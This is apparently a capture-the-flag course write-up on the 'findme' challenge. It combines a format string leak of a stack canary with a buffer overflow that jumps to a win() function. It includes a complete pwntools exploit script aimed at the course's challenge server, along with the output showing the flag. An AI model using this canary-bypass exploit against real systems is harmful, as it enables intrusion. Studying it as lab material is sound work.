This challenge is very similar to the canary challenge so we will skip the parts explaining the underlying theory. The goal of this problem is not only to provide more practice but also to show the speed at which these binaries can be exploited.
If you can go from nothing to an attack vector to an exploit for most problems in no more than 30 minutes, you're on the right track to succeed.
Static Analysis
If we check the security, we notice that there is clearly a canary present.
$ checksec ./findme
[*] '/home/joybuzzer/Documents/vunrotc/public/binex/04-canaries/findme/src/findme'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
We notice that the functions that aren't part of the STL are main(), read_in(), and win().
main() calls read_in and then returns.
win() calls system() and then returns.
That leaves read_in. We notice the following:
The canary is stored at ebp-0xc.
There is a format string bug at read_in+116.
We start writing at ebp-0x48.
Moving to the gets call that supplies the input to the format string vulnerability, we can quickly get the offset to the canary:
We see the canary is at the 19th offset on the stack. If we want to do this mathematically, the canary is at ebp-0xc, and the stack pointer is at esp. We can do this math inside gdb:
The reason that we divide by four is that each address is four bytes long.
Crafting the Payload
From here, we know what the payload is going to look like.
The first time around: send the format string to leak the canary.
The second time around: pad to the canary, write the canary, then pad to the return address, and overwrite the return address.
Let's make this happen.
exploit.py
from pwn import*proc =remote('vunrotc.cole-ellis.com', 4300)# get the line of dataprint(proc.recvline())# payload round 1: leak the canaryproc.sendline(b'%19$p')print(proc.recvuntil(b', '))leak =int(proc.recvuntil(b'!')[:-1].decode(), 16)print(proc.recvuntil(b':'))print("Canary leaked:", hex(leak))# payload round 2: buffer overflowpayload =b''payload +=b'A'*40payload +=p32(leak)payload +=b'B'*12payload +=p32(0x080492b9)proc.sendline(payload)proc.interactive()
Running the exploit gets us the flag:
$ python3 exploit.py
b'Enter your username.\n'
b'Hi, '
b' Enter your password:'
Canary leaked: 0xf604b100
[*] Switching to interactive mode
flag{combining_techniques_is_essential}
/home/ctf/runner.sh: line 5: 27 Segmentation fault (core dumped) ./findme
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to vunrotc.cole-ellis.com port 4300